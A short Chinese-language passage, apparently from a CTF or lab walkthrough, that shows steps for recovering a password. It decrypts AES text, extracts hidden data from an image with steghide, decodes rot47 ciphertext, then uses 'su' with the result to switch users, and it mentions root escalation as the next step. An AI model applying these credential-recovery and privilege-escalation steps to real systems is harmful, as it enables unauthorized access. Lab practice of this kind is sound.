然后AES encryption aes解密网站 (解密keygqSFGqAJ)
得到解密密码对于用户的ssh不起作用,想到一开始的图片隐写
strghide extract -sf background-image.jpg输入密码
得到一窜密文
s)M8Z=7|8/&YY-zK5L$.w3Su'Q@nGR,rot47加密
CyberChef DX|g+lfMg^U**\Kzd{S]Hb$FV"o?v#
su yourname 输入密码成功提权
root提权在看linux提权(过滤器加waf)